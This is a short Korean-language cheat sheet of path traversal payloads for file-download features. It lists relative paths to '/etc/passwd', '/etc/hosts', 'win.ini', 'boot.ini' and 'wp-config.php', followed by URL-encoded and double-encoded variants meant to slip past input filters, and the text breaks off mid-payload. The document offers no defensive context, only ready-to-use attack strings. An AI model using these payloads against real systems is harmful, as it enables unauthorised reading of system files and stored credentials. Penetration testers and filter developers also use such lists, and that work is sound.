1) 파일 다운로드 경로 ../../../../etc/passwd ../../../..
/etc/hosts ../../../../winnt/win.ini ../../../..
/boot.ini ../../../../wp-config.php 2) 인코딩 ../../../..
/etc/passwd %2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 ../../../../../../../../../etc/hosts 인코딩 %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%68%6f%73%74%73 더블 인코딩 %252e%252e%2f%252e.....
